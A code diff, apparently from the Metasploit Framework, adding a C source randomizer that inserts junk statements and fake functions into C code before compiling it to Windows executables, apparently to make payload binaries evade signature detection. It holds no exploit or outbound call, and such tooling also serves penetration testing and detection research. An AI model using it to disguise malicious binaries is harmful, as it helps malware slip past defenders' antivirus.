@ -36,12 +37,40 @@ module Metasploit
|
||||||
# @param out_file [String] The file path to save the binary as.
|
# @param out_file [String] The file path to save the binary as.
|
||||||
# @param c_template [String] The C source code to compile.
|
# @param c_template [String] The C source code to compile.
|
||||||
# @param type [Symbol] PE type, either :exe or :dll
|
# @param type [Symbol] PE type, either :exe or :dll
|
||||||
# @param cpu [Object] A Metasm cpu object, for example: Metasm::Ia32.new
|
# @param cpu [Metasm::CPU] A Metasm cpu object, for example: Metasm::Ia32.new
|
||||||
# @return [Integer] The number of bytes written.
|
# @return [Integer] The number of bytes written.
|
||||||
def self.compile_c_to_file(out_file, c_template, type=:exe, cpu=Metasm::Ia32.new)
|
def self.compile_c_to_file(out_file, c_template, type=:exe, cpu=Metasm::Ia32.new)
|
||||||
pe = self.compile(c_template, type)
|
pe = self.compile(c_template, type)
|
||||||
File.write(out_file, pe)
|
File.write(out_file, pe)
|
||||||
end
|
end
|
||||||
|
|
||||||
|
# Returns the binary of a randomized and compiled source code.
|
||||||
|
#
|
||||||
|
# @param c_template [String]
|
||||||
|
#
|
||||||
|
# @raise [NotImplementedError] If the type is not supported.
|
||||||
|
# @return [String] The compiled code.
|
||||||
|
def self.compile_random_c(c_template, opts={})
|
||||||
|
type = opts[:type] || :exe
|
||||||
|
cpu = opts[:cpu] || Metasm::Ia32.new
|
||||||
|
weight = opts[:weight] || 80
|
||||||
|
headers = Compiler::Headers::Windows.new
|
||||||
|
source_code = Compiler::Utils.normalize_code(c_template, headers)
|
||||||
|
randomizer = Metasploit::Framework::Obfuscation::CRandomizer::Parser.new(weight)
|
||||||
|
randomized_code = randomizer.parse(source_code)
|
||||||
|
self.compile_c(randomized_code.to_s, type, cpu)
|
||||||
|
end
|
||||||
|
|
||||||
|
# Saves the randomized compiled code as a file. This is basically a wrapper for #self.compile_random_c
|
||||||
|
#
|
||||||
|
# @param out_file [String] The file path to save the binary as.
|
||||||
|
# @param c_template [String] The C source code to randomize and compile.
|
||||||
|
# @param opts [Hash] Options to pass to #compile_random_c
|
||||||
|
# @return [Integer] The number of bytes written.
|
||||||
|
def self.compile_random_c_to_file(out_file, c_template, opts={})
|
||||||
|
pe = self.compile_random_c(c_template, opts)
|
||||||
|
File.write(out_file, pe)
|
||||||
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
|
@ -0,0 +1,2 @@
|
||||||
|
require 'metasploit/framework/obfuscation/crandomizer/code_factory'
|
||||||
|
require 'metasploit/framework/obfuscation/crandomizer/parser'
|
|
@ -0,0 +1,18 @@
|
||||||
|
require 'metasploit/framework/obfuscation/crandomizer/code_factory/base'
|
||||||
|
|
||||||
|
# Used as random statements
|
||||||
|
|
||||||
|
require 'metasploit/framework/obfuscation/crandomizer/code_factory/gettickcount'
|
||||||
|
require 'metasploit/framework/obfuscation/crandomizer/code_factory/if'
|
||||||
|
require 'metasploit/framework/obfuscation/crandomizer/code_factory/int_assignments'
|
||||||
|
require 'metasploit/framework/obfuscation/crandomizer/code_factory/malloc'
|
||||||
|
require 'metasploit/framework/obfuscation/crandomizer/code_factory/outputdebugstring'
|
||||||
|
require 'metasploit/framework/obfuscation/crandomizer/code_factory/printf'
|
||||||
|
require 'metasploit/framework/obfuscation/crandomizer/code_factory/string_assignments'
|
||||||
|
require 'metasploit/framework/obfuscation/crandomizer/code_factory/switch'
|
||||||
|
require 'metasploit/framework/obfuscation/crandomizer/code_factory/uninit_variables'
|
||||||
|
|
||||||
|
# Random functions
|
||||||
|
|
||||||
|
require 'metasploit/framework/obfuscation/crandomizer/code_factory/fake_function'
|
||||||
|
require 'metasploit/framework/obfuscation/crandomizer/code_factory/fake_function_collection'
|
|
@ -0,0 +1,59 @@
|
||||||
|
require 'metasploit/framework/obfuscation/crandomizer/utility'
|
||||||
|
|
||||||
|
module Metasploit
|
||||||
|
module Framework
|
||||||
|
module Obfuscation
|
||||||
|
module CRandomizer
|
||||||
|
module CodeFactory
|
||||||
|
|
||||||
|
class Base
|
||||||
|
attr_reader :dep
|
||||||
|
attr_reader :code
|
||||||
|
|
||||||
|
def initialize
|
||||||
|
@dep = []
|
||||||
|
@code = normalized_stub
|
||||||
|
end
|
||||||
|
|
||||||
|
# Override this method when you inherit this class.
|
||||||
|
# The method should return the source of the stub you're trying to create,
|
||||||
|
# as a C function.
|
||||||
|
# For example:
|
||||||
|
# %Q|
|
||||||
|
# void printf(const char*);
|
||||||
|
# void stub() {
|
||||||
|
# printf("hello world\n");
|
||||||
|
# }|
|
||||||
|
# Notice if you are using a function like the above, you must declare/define that
|
||||||
|
# beforehand. The function declaration will not be used in the final source code.
|
||||||
|
def stub
|
||||||
|
raise NotImplementedError
|
||||||
|
end
|
||||||
|
|
||||||
|
# Checks whether this class is suitable for the code.
|
||||||
|
#
|
||||||
|
# @param parser [Metasm::C::Parser]
|
||||||
|
# @return [Boolean]
|
||||||
|
def good_dep?(parser)
|
||||||
|
# The difference between @dep and parser.toplevel.symbol.keys
|
||||||
|
# is the list of functions not being supported by the original code.
|
||||||
|
ready_function_names = parser.toplevel.symbol.keys
|
||||||
|
delta = dep - ready_function_names
|
||||||
|
if delta.empty?
|
||||||
|
true
|
||||||
|
else
|
||||||
|
false
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
def normalized_stub
|
||||||
|
stub_parser = Metasploit::Framework::Obfuscation::CRandomizer::Utility.parse(stub)
|
||||||
|
stub_parser.toplevel.statements.last.var.initializer.statements
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
|
@ -0,0 +1,45 @@
|
||||||
|
require 'metasploit/framework/obfuscation/crandomizer/utility'
|
||||||
|
|
||||||
|
module Metasploit
|
||||||
|
module Framework
|
||||||
|
module Obfuscation
|
||||||
|
module CRandomizer
|
||||||
|
module CodeFactory
|
||||||
|
|
||||||
|
class FakeFunction
|
||||||
|
attr_reader :attribute
|
||||||
|
attr_reader :return_type
|
||||||
|
attr_reader :args
|
||||||
|
attr_reader :function_name
|
||||||
|
|
||||||
|
def initialize(func_name)
|
||||||
|
@attribute = ['', ' __attribute__((export))'].sample
|
||||||
|
@return_type = ['int', 'char*', 'void', ].sample
|
||||||
|
@args = ['int i', 'char* s', 'void'].sample
|
||||||
|
@function_name = func_name
|
||||||
|
end
|
||||||
|
|
||||||
|
def generate_body
|
||||||
|
case return_type
|
||||||
|
when 'int'
|
||||||
|
rand_return_val = Metasploit::Framework::Obfuscation::CRandomizer::Utility.rand_int
|
||||||
|
return_statement = %Q|return #{rand_return_val};|
|
||||||
|
when 'char*'
|
||||||
|
rand_return_str = Metasploit::Framework::Obfuscation::CRandomizer::Utility.rand_string
|
||||||
|
return_statement = %Q|return "#{rand_return_str}";|
|
||||||
|
else
|
||||||
|
return_statement = ''
|
||||||
|
end
|
||||||
|
|
||||||
|
%Q|
|
||||||
|
#{return_type} #{function_name}#{attribute}(#{args}) {
|
||||||
|
#{return_statement}
|
||||||
|
}|
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
|
@ -0,0 +1,79 @@
|
||||||
|
require 'metasploit/framework/obfuscation/crandomizer/utility'
|
||||||
|
|
||||||
|
module Metasploit
|
||||||
|
module Framework
|
||||||
|
module Obfuscation
|
||||||
|
module CRandomizer
|
||||||
|
module CodeFactory
|
||||||
|
|
||||||
|
class FakeFunctionCollection
|
||||||
|
attr_accessor :functions
|
||||||
|
attr_reader :max_functions
|
||||||
|
|
||||||
|
# Initializes a Metasploit::Framework::Obfuscation::CRandomizer::CodeFactory::FakeFunctionCollection instance.
|
||||||
|
#
|
||||||
|
# @param max_functions [Integer] Max number of fake functions to generate.
|
||||||
|
# @return [Metasploit::Framework::Obfuscation::CRandomizer::CodeFactory::FakeFunctionCollection]
|
||||||
|
def initialize(max_functions)
|
||||||
|
@functions = []
|
||||||
|
@max_functions = max_functions
|
||||||
|
populate
|
||||||
|
self
|
||||||
|
end
|
||||||
|
|
||||||
|
# Yields a list of fake functions available.
|
||||||
|
def each
|
||||||
|
functions.each do |f|
|
||||||
|
yield f
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
# Returns a fake Metasm::C::Declaration from the FakeFunctionCollection object.
|
||||||
|
#
|
||||||
|
# @return [Metasm::C::Declaration]
|
||||||
|
def sample
|
||||||
|
functions.sample
|
||||||
|
end
|
||||||
|
|
||||||
|
# Returns a string that joins the fake functions
|
||||||
|
def to_s
|
||||||
|
functions.join("\n")
|
||||||
|
end
|
||||||
|
|
||||||
|
# Asks the FakeFunctionCollection if a function is available.
|
||||||
|
#
|
||||||
|
# @param name [String]
|
||||||
|
# @return [Boolean]
|
||||||
|
def has_function_name?(name)
|
||||||
|
functions.each do |f|
|
||||||
|
if f.var.name == name
|
||||||
|
return true
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
false
|
||||||
|
end
|
||||||
|
|
||||||
|
# Checks if the collection is empty or not.
|
||||||
|
def empty?
|
||||||
|
functions.empty?
|
||||||
|
end
|
||||||
|
|
||||||
|
private
|
||||||
|
|
||||||
|
# Generates a list of fake functions to use.
|
||||||
|
def populate
|
||||||
|
max_functions.times do |i|
|
||||||
|
func_name = "function#{i}"
|
||||||
|
fake_function = Metasploit::Framework::Obfuscation::CRandomizer::CodeFactory::FakeFunction.new(func_name)
|
||||||
|
function_code = fake_function.generate_body
|
||||||
|
stub_parser = Metasploit::Framework::Obfuscation::CRandomizer::Utility.parse(function_code)
|
||||||
|
functions.concat(stub_parser.toplevel.statements)
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
|
@ -0,0 +1,53 @@
|
||||||
|
require 'metasploit/framework/obfuscation/crandomizer/utility'
|
||||||
|
require 'metasploit/framework/obfuscation/crandomizer/code_factory/base'
|
||||||
|
|
||||||
|
module Metasploit
|
||||||
|
module Framework
|
||||||
|
module Obfuscation
|
||||||
|
module CRandomizer
|
||||||
|
module CodeFactory
|
||||||
|
|
||||||
|
class GetTickCount < Base
|
||||||
|
def initialize
|
||||||
|
super
|
||||||
|
@dep = ['GetTickCount']
|
||||||
|
end
|
||||||
|
|
||||||
|
def stub
|
||||||
|
[
|
||||||
|
Proc.new { single_gettickcount },
|
||||||
|
Proc.new { diff_gettickcount }
|
||||||
|
].sample.call
|
||||||
|
end
|
||||||
|
|
||||||
|
private
|
||||||
|
|
||||||
|
def single_gettickcount
|
||||||
|
%Q|
|
||||||
|
int GetTickCount();
|
||||||
|
void stub() {
|
||||||
|
GetTickCount();
|
||||||
|
}|
|
||||||
|
end
|
||||||
|
|
||||||
|
def diff_gettickcount
|
||||||
|
var_name_1 = "tickcount_#{Metasploit::Framework::Obfuscation::CRandomizer::Utility.rand_int}"
|
||||||
|
var_name_2 = "tickcount_#{Metasploit::Framework::Obfuscation::CRandomizer::Utility.rand_int}"
|
||||||
|
|
||||||
|
%Q|
|
||||||
|
int GetTickCount();
|
||||||
|
void stub() {
|
||||||
|
int #{var_name_1} = GetTickCount();
|
||||||
|
int #{var_name_2} = GetTickCount();
|
||||||
|
if (#{var_name_2} - #{var_name_1} > 100) {
|
||||||
|
#{var_name_1} = #{Metasploit::Framework::Obfuscation::CRandomizer::Utility.rand_int};
|
||||||
|
}
|
||||||
|
}|
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
|
@ -0,0 +1,68 @@
|
||||||
|
require 'metasploit/framework/obfuscation/crandomizer/utility'
|
||||||
|
require 'metasploit/framework/obfuscation/crandomizer/code_factory/base'
|
||||||
|
|
||||||
|
module Metasploit
|
||||||
|
module Framework
|
||||||
|
module Obfuscation
|
||||||
|
module CRandomizer
|
||||||
|
module CodeFactory
|
||||||
|
|
||||||
|
class If < Base
|
||||||
|
def stub
|
||||||
|
[
|
||||||
|
Proc.new { if_stub },
|
||||||
|
Proc.new { if_if_else_stub },
|
||||||
|
Proc.new { if_else_stub }
|
||||||
|
].sample.call
|
||||||
|
end
|
||||||
|
|
||||||
|
private
|
||||||
|
|
||||||
|
def if_stub
|
||||||
|
var_name = "xforif#{Metasploit::Framework::Obfuscation::CRandomizer::Utility.rand_int}"
|
||||||
|
|
||||||
|
%Q|
|
||||||
|
void stub() {
|
||||||
|
int #{var_name} = #{Metasploit::Framework::Obfuscation::CRandomizer::Utility.rand_int};
|
||||||
|
if (#{var_name}) {
|
||||||
|
#{var_name} = #{Metasploit::Framework::Obfuscation::CRandomizer::Utility.rand_int};
|
||||||
|
}
|
||||||
|
}|
|
||||||
|
end
|
||||||
|
|
||||||
|
def if_if_else_stub
|
||||||
|
var_name = "xforif2#{Metasploit::Framework::Obfuscation::CRandomizer::Utility.rand_int}"
|
||||||
|
|
||||||
|
%Q|
|
||||||
|
void stub() {
|
||||||
|
int #{var_name} = #{Metasploit::Framework::Obfuscation::CRandomizer::Utility.rand_int};
|
||||||
|
if (#{var_name}) {
|
||||||
|
#{var_name} = #{Metasploit::Framework::Obfuscation::CRandomizer::Utility.rand_int};
|
||||||
|
} else if (#{var_name} == #{Metasploit::Framework::Obfuscation::CRandomizer::Utility.rand_int}) {
|
||||||
|
#{var_name} = #{Metasploit::Framework::Obfuscation::CRandomizer::Utility.rand_int};
|
||||||
|
} else {
|
||||||
|
#{var_name} = #{Metasploit::Framework::Obfuscation::CRandomizer::Utility.rand_int};
|
||||||
|
}
|
||||||
|
}|
|
||||||
|
end
|
||||||
|
|
||||||
|
def if_else_stub
|
||||||
|
var_name = "xorif3_#{Metasploit::Framework::Obfuscation::CRandomizer::Utility.rand_int}"
|
||||||
|
|
||||||
|
%Q|
|
||||||
|
void stub() {
|
||||||
|
signed #{var_name} = #{Metasploit::Framework::Obfuscation::CRandomizer::Utility.rand_int};
|
||||||
|
if (#{var_name} == #{Metasploit::Framework::Obfuscation::CRandomizer::Utility.rand_int}) {
|
||||||
|
#{var_name} = #{Metasploit::Framework::Obfuscation::CRandomizer::Utility.rand_int};
|
||||||
|
} else {
|
||||||
|
#{var_name} = #{Metasploit::Framework::Obfuscation::CRandomizer::Utility.rand_int};
|
||||||
|
}
|
||||||
|
}|
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
|
@ -0,0 +1,24 @@
|
||||||
|
require 'metasploit/framework/obfuscation/crandomizer/utility'
|
||||||
|
require 'metasploit/framework/obfuscation/crandomizer/code_factory/base'
|
||||||
|
|
||||||
|
module Metasploit
|
||||||
|
module Framework
|
||||||
|
module Obfuscation
|
||||||
|
module CRandomizer
|
||||||
|
module CodeFactory
|
||||||
|
|
||||||
|
class IntAssignments < Base
|
||||||
|
def stub
|
||||||
|
var_name = "fakeint_#{Metasploit::Framework::Obfuscation::CRandomizer::Utility.rand_int}"
|
||||||
|
%Q|
|
||||||
|
void stub() {
|
||||||
|
int #{var_name} = #{Metasploit::Framework::Obfuscation::CRandomizer::Utility.rand_int};
|
||||||
|
}|
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
|
@ -0,0 +1,30 @@
|
||||||
|
require 'metasploit/framework/obfuscation/crandomizer/utility'
|
||||||
|
require 'metasploit/framework/obfuscation/crandomizer/code_factory/base'
|
||||||
|
|
||||||
|
module Metasploit
|
||||||
|
module Framework
|
||||||
|
module Obfuscation
|
||||||
|
module CRandomizer
|
||||||
|
module CodeFactory
|
||||||
|
|
||||||
|
class Malloc < Base
|
||||||
|
def initialize
|
||||||
|
super
|
||||||
|
@dep = ['malloc']
|
||||||
|
end
|
||||||
|
|
||||||
|
def stub
|
||||||
|
var_name = "m#{Metasploit::Framework::Obfuscation::CRandomizer::Utility.rand_int}"
|
||||||
|
%Q|
|
||||||
|
void* malloc(unsigned int);
|
||||||
|
void stub() {
|
||||||
|
void* #{var_name} = malloc(#{Metasploit::Framework::Obfuscation::CRandomizer::Utility.rand_int});
|
||||||
|
}|
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
|
@ -0,0 +1,48 @@
|
||||||
|
require 'metasploit/framework/obfuscation/crandomizer/utility'
|
||||||
|
require 'metasploit/framework/obfuscation/crandomizer/code_factory/base'
|
||||||
|
|
||||||
|
module Metasploit
|
||||||
|
module Framework
|
||||||
|
module Obfuscation
|
||||||
|
module CRandomizer
|
||||||
|
module CodeFactory
|
||||||
|
|
||||||
|
class OutputDebugString < Base
|
||||||
|
def initialize
|
||||||
|
super
|
||||||
|
@dep = ['OutputDebugString']
|
||||||
|
end
|
||||||
|
|
||||||
|
def stub
|
||||||
|
[
|
||||||
|
Proc.new { outputdebugstring_1 },
|
||||||
|
Proc.new { outputdebugstring_2 }
|
||||||
|
].sample.call
|
||||||
|
end
|
||||||
|
|
||||||
|
private
|
||||||
|
|
||||||
|
def outputdebugstring_1
|
||||||
|
%Q|
|
||||||
|
void OutputDebugString(const char*);
|
||||||
|
void stub() {
|
||||||
|
OutputDebugString("#{Metasploit::Framework::Obfuscation::CRandomizer::Utility.rand_string}");
|
||||||
|
}|
|
||||||
|
end
|
||||||
|
|
||||||
|
def outputdebugstring_2
|
||||||
|
var_name = "msg#{Metasploit::Framework::Obfuscation::CRandomizer::Utility.rand_int}"
|
||||||
|
%Q|
|
||||||
|
void OutputDebugString(const char*);
|
||||||
|
void stub() {
|
||||||
|
char* #{var_name} = "#{Metasploit::Framework::Obfuscation::CRandomizer::Utility.rand_string}";
|
||||||
|
OutputDebugString(#{var_name});
|
||||||
|
}|
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
|
@ -0,0 +1,29 @@
|
||||||
|
require 'metasploit/framework/obfuscation/crandomizer/utility'
|
||||||
|
require 'metasploit/framework/obfuscation/crandomizer/code_factory/base'
|
||||||
|
|
||||||
|
module Metasploit
|
||||||
|
module Framework
|
||||||
|
module Obfuscation
|
||||||
|
module CRandomizer
|
||||||
|
module CodeFactory
|
||||||
|
|
||||||
|
class Printf < Base
|
||||||
|
def initialize
|
||||||
|
super
|
||||||
|
@dep = ['printf']
|
||||||
|
end
|
||||||
|
|
||||||
|
def stub
|
||||||
|
%Q|
|
||||||
|
int printf(const char*);
|
||||||
|
void stub() {
|
||||||
|
printf("#{Metasploit::Framework::Obfuscation::CRandomizer::Utility.rand_string}");
|
||||||
|
}|
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
|
@ -0,0 +1,24 @@
|
||||||
|
require 'metasploit/framework/obfuscation/crandomizer/utility'
|
||||||
|
require 'metasploit/framework/obfuscation/crandomizer/code_factory/base'
|
||||||
|
|
||||||
|
module Metasploit
|
||||||
|
module Framework
|
||||||
|
module Obfuscation
|
||||||
|
module CRandomizer
|
||||||
|
module CodeFactory
|
||||||
|
|
||||||
|
class StringAssignments < Base
|
||||||
|
def stub
|
||||||
|
var_name = "fake_string_#{Metasploit::Framework::Obfuscation::CRandomizer::Utility.rand_int}"
|
||||||
|
%Q|
|
||||||
|
void stub() {
|
||||||
|
const char* #{var_name} = "#{Metasploit::Framework::Obfuscation::CRandomizer::Utility.rand_string}";
|
||||||
|
}|
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
|
@ -0,0 +1,54 @@
|
||||||
|
require 'metasploit/framework/obfuscation/crandomizer/utility'
|
||||||
|
require 'metasploit/framework/obfuscation/crandomizer/code_factory/base'
|
||||||
|
|
||||||
|
module Metasploit
|
||||||
|
module Framework
|
||||||
|
module Obfuscation
|
||||||
|
module CRandomizer
|
||||||
|
module CodeFactory
|
||||||
|
|
||||||
|
class Switch < Base
|
||||||
|
def stub
|
||||||
|
[
|
||||||
|
Proc.new { switch_1 },
|
||||||
|
Proc.new { switch_2 }
|
||||||
|
].sample.call
|
||||||
|
end
|
||||||
|
|
||||||
|
private
|
||||||
|
|
||||||
|
def switch_1
|
||||||
|
var_name = "rndnum#{Metasploit::Framework::Obfuscation::CRandomizer::Utility.rand_int}"
|
||||||
|
%Q|
|
||||||
|
void stub() {
|
||||||
|
int #{var_name} = #{Metasploit::Framework::Obfuscation::CRandomizer::Utility.rand_int};
|
||||||
|
switch (#{var_name}) {
|
||||||
|
case #{Metasploit::Framework::Obfuscation::CRandomizer::Utility.rand_int}:
|
||||||
|
#{var_name} = #{Metasploit::Framework::Obfuscation::CRandomizer::Utility.rand_int};
|
||||||
|
break;
|
||||||
|
default:
|
||||||
|
#{var_name} = #{Metasploit::Framework::Obfuscation::CRandomizer::Utility.rand_int};
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}|
|
||||||
|
end
|
||||||
|
|
||||||
|
def switch_2
|
||||||
|
var_name = "rndnum#{Metasploit::Framework::Obfuscation::CRandomizer::Utility.rand_int}"
|
||||||
|
%Q|
|
||||||
|
void stub() {
|
||||||
|
int #{var_name} = #{Metasploit::Framework::Obfuscation::CRandomizer::Utility.rand_int};
|
||||||
|
switch (#{var_name}) {
|
||||||
|
case #{Metasploit::Framework::Obfuscation::CRandomizer::Utility.rand_int}:
|
||||||
|
#{var_name} = #{Metasploit::Framework::Obfuscation::CRandomizer::Utility.rand_int};
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}|
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
|
@ -0,0 +1,47 @@
|
||||||
|
require 'metasploit/framework/obfuscation/crandomizer/utility'
|
||||||
|
require 'metasploit/framework/obfuscation/crandomizer/code_factory/base'
|
||||||
|
|
||||||
|
module Metasploit
|
||||||
|
module Framework
|
||||||
|
module Obfuscation
|
||||||
|
module CRandomizer
|
||||||
|
module CodeFactory
|
||||||
|
|
||||||
|
class UninitVariables < Base
|
||||||
|
def stub
|
||||||
|
[
|
||||||
|
Proc.new { char },
|
||||||
|
Proc.new { int },
|
||||||
|
Proc.new { string }
|
||||||
|
].sample.call
|
||||||
|
end
|
||||||
|
|
||||||
|
private
|
||||||
|
|
||||||
|
def char
|
||||||
|
%Q|
|
||||||
|
void stub() {
|
||||||
|
char uninitcharvar#{Metasploit::Framework::Obfuscation::CRandomizer::Utility.rand_int};
|
||||||
|
}|
|
||||||
|
end
|
||||||
|
|
||||||
|
def int
|
||||||
|
%Q|
|
||||||
|
void stub() {
|
||||||
|
int uninitintvar#{Metasploit::Framework::Obfuscation::CRandomizer::Utility.rand_int};
|
||||||
|
}|
|
||||||
|
end
|
||||||
|
|
||||||
|
def string
|
||||||
|
%Q|
|
||||||
|
void stub() {
|
||||||
|
const char* uninitstringvar#{Metasploit::Framework::Obfuscation::CRandomizer::Utility.rand_int};
|
||||||
|
}|
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
|
@ -0,0 +1,182 @@
|
||||||
|
require 'metasploit/framework/obfuscation/crandomizer/random_statements'
|
||||||
|
|
||||||
|
module Metasploit
|
||||||
|
module Framework
|
||||||
|
module Obfuscation
|
||||||
|
module CRandomizer
|
||||||
|
|
||||||
|
class Modifier
|
||||||
|
attr_reader :parser
|
||||||
|
attr_reader :fake_functions
|
||||||
|
attr_reader :weight
|
||||||
|
|
||||||
|
# Initializes a Metasploit::Framework::Obfuscation::CRandomizer::Modifier instance.
|
||||||
|
#
|
||||||
|
# @param p [Metasploit::C::Parser]
|
||||||
|
# @param f [Metasploit::Framework::Obfuscation::CRandomizer::CodeFactory::FakeFunctionCollection]
|
||||||
|
# @param w [Integer] Weight of the randomness.
|
||||||
|
def initialize(p, f, w)
|
||||||
|
@parser = p
|
||||||
|
@fake_functions = f
|
||||||
|
@weight = w
|
||||||
|
end
|
||||||
|
|
||||||
|
# Modifies different if-else blocks recursively.
|
||||||
|
#
|
||||||
|
# @param s [Metasm::C::Declaration]
|
||||||
|
# @return [Metasm::C::Declaration]
|
||||||
|
def modify_if_else_blocks(s)
|
||||||
|
modify_if(s)
|
||||||
|
modify_else_if(s)
|
||||||
|
modify_else(s)
|
||||||
|
s
|
||||||
|
end
|
||||||
|
|
||||||
|
# Modifies an if block.
|
||||||
|
#
|
||||||
|
# @param s [Metasm::C::Declaration]
|
||||||
|
# return [void]
|
||||||
|
def modify_if(s)
|
||||||
|
new_if_statements = []
|
||||||
|
|
||||||
|
s.bthen.statements.each do |stmt|
|
||||||
|
modify_nested_blocks(stmt)
|
||||||
|
new_if_statements.concat(get_fake_statement)
|
||||||
|
new_if_statements << stmt
|
||||||
|
end
|
||||||
|
|
||||||
|
s.bthen.statements = new_if_statements
|
||||||
|
end
|
||||||
|
|
||||||
|
# Modifies an else-if block.
|
||||||
|
#
|
||||||
|
# @param s [Metasm::C::Declaration]
|
||||||
|
# @param [void]
|
||||||
|
def modify_else_if(s)
|
||||||
|
# There could be multiple else if blocks,
|
||||||
|
# this gives the current else if block
|
||||||
|
elseif_block = s.belse
|
||||||
|
|
||||||
|
while (elseif_block && elseif_block.respond_to?(:bthen)) do
|
||||||
|
new_else_if_statements = []
|
||||||
|
|
||||||
|
elseif_block.bthen.statements.each do |stmt|
|
||||||
|
modify_nested_blocks(stmt)
|
||||||
|
new_else_if_statements.concat(get_fake_statement)
|
||||||
|
new_else_if_statements << stmt
|
||||||
|
end
|
||||||
|
|
||||||
|
elseif_block.bthen.statements = new_else_if_statements
|
||||||
|
|
||||||
|
# Move on to the next else if block
|
||||||
|
elseif_block = elseif_block.belse
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
# Modifies an else block.
|
||||||
|
#
|
||||||
|
# @param s [Metasm::C::Declaration]
|
||||||
|
def modify_else(s)
|
||||||
|
else_block = s.belse
|
||||||
|
|
||||||
|
# The else block is retrieved this way when there is an else if block
|
||||||
|
else_block = s.belse.belse if s.belse.respond_to?(:belse)
|
||||||
|
|
||||||
|
# There is really no else block, let's bail.
|
||||||
|
# return unless else_block
|
||||||
|
return unless else_block.respond_to?(:statements)
|
||||||
|
|
||||||
|
new_else_statements = []
|
||||||
|
|
||||||
|
else_block.statements.each do |stmt|
|
||||||
|
modify_nested_blocks(stmt)
|
||||||
|
new_else_statements.concat(get_fake_statement)
|
||||||
|
new_else_statements << stmt
|
||||||
|
end
|
||||||
|
|
||||||
|
else_block.statements = new_else_statements
|
||||||
|
end
|
||||||
|
|
||||||
|
# Modifies a for block.
|
||||||
|
#
|
||||||
|
# @param s [Metasm::C::Declaration]
|
||||||
|
def modify_for(s)
|
||||||
|
new_for_statements = []
|
||||||
|
|
||||||
|
s.body.statements.each do |stmt|
|
||||||
|
modify_nested_blocks(stmt)
|
||||||
|
new_for_statements.concat(get_fake_statement)
|
||||||
|
new_for_statements << stmt
|
||||||
|
end
|
||||||
|
|
||||||
|
s.body.statements = new_for_statements
|
||||||
|
|
||||||
|
s
|
||||||
|
end
|
||||||
|
|
||||||
|
# Modifies a nested block.
|
||||||
|
#
|
||||||
|
# @param s [Metasm::C::Declaration]
|
||||||
|
def modify_nested_blocks(s)
|
||||||
|
case s
|
||||||
|
when Metasm::C::If
|
||||||
|
modify_if_else_blocks(s)
|
||||||
|
when Metasm::C::For
|
||||||
|
modify_for(s)
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
# Modifies a function.
|
||||||
|
#
|
||||||
|
# @param s [Metasploit::C::Declaration]
|
||||||
|
def modify_function(s)
|
||||||
|
function_statements = s.var.initializer.statements
|
||||||
|
new_function_statements = []
|
||||||
|
|
||||||
|
function_statements.each do |func_stmt|
|
||||||
|
unless feeling_lucky?
|
||||||
|
new_function_statements << func_stmt
|
||||||
|
next
|
||||||
|
end
|
||||||
|
|
||||||
|
case func_stmt
|
||||||
|
when Metasm::C::If
|
||||||
|
new_function_statements << modify_if_else_blocks(func_stmt)
|
||||||
|
when Metasm::C::For
|
||||||
|
new_function_statements << modify_for(func_stmt)
|
||||||
|
else
|
||||||
|
new_function_statements.concat(get_fake_statement(s))
|
||||||
|
new_function_statements << func_stmt
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
unless new_function_statements.empty?
|
||||||
|
s.var.initializer.statements = new_function_statements
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
private
|
||||||
|
|
||||||
|
# Returns fake statements.
|
||||||
|
#
|
||||||
|
# @param s [Metasploit::C::Declaration]
|
||||||
|
# @return [Array<Metasm::C::CExpression>]
|
||||||
|
def get_fake_statement(s=nil)
|
||||||
|
random_statements = Metasploit::Framework::Obfuscation::CRandomizer::RandomStatements.new(parser, fake_functions, s)
|
||||||
|
random_statements.get
|
||||||
|
end
|
||||||
|
|
||||||
|
# Returns a boolean indicating whether a random is above (or equal to) a number or not.
|
||||||
|
#
|
||||||
|
# @return [Boolean]
|
||||||
|
def feeling_lucky?
|
||||||
|
n = (rand * 100).to_i
|
||||||
|
weight >= n
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
|
@ -0,0 +1,46 @@
|
||||||
|
